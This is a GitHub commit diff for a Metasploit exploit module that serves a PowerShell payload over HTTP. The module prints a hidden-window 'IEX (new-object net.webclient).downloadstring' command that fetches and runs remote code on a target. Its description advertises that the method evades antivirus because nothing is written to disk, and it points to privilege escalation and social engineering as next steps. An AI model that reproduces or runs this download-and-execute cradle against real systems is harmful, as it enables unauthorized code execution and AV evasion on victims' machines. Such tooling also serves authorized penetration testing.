Skip to content

Commit 18ac83b

Browse files
committed
Final updates and tidy
1 parent fe405d2 commit 18ac83b

File tree

1 file changed

+16
-17
lines changed

1 file changed

+16
-17
lines changed

modules/exploits/windows/misc/powershell_http_deliver.rb renamed to modules/exploits/windows/misc/psh_web_delivery.rb

Lines changed: 16 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,19 @@ class Metasploit3 < Msf::Exploit::Remote
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'Powershell HTTP Downloader',
17+
'Name' => 'Powershell HTTP Download Delivery',
1818
'Description' => %q{
1919
Quickly fires up a web server that serves the payload in powershell.
20-
Two commands are given, the first will download and execute the payload
21-
from within a powershell terminal. The second will start powershell and
22-
then download and execute the payload. The main goal of this module is
23-
so that a session can be quickly established on a target machine when
24-
you have to manually type in the command yourself.
20+
The command will start powershell and then download and execute the payload.
21+
You can extract the IEX command to execute directly from powershell.
22+
The main goal of this module is that a session can be quickly established
23+
on a target machine when you have to manually type in the command yourself,
24+
e.g. RDP Session, Local Access or maybe Remote Command Exec.
25+
This does not write to disk so is unlikely to trigger AV solutions and will
26+
allow you to attempt local privilege escalations supplied by meterpreter etc.
27+
You could also try your luck with social engineering.
28+
Ensure your payload architecture matches the target computer or use SYSWOW64
29+
powershell.exe to execute x86 payloads on x64 machines.
2530
},
2631
'License' => MSF_LICENSE,
2732
'Author' =>
@@ -47,19 +52,13 @@ def on_request_uri(cli, request)
4752
print_status("Delivering Payload")
4853
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
4954
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
50-
return
51-
5255
end
5356

54-
def exploit
55-
datastore['URIPATH'] ||= Rex::Text.rand_text_alpha(6)
56-
url = (datastore['SSL'] ? "https://" : "http://")
57-
url += (datastore['SRVHOST'] == '0.0.0.0') ? datastore['LHOST'] : datastore['SRVHOST']
58-
url += ":" + datastore['SRVPORT'].to_s + "/" + datastore['URIPATH']
57+
def primer
58+
url = get_uri()
5959
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
60-
print_good(download_and_run)
61-
print_good("powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"")
62-
print_line
63-
super
60+
print_status("Run the following command on the target machine:")
61+
print_line("powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"")
6462
end
6563
end
64+

0 commit comments

Comments
 (0)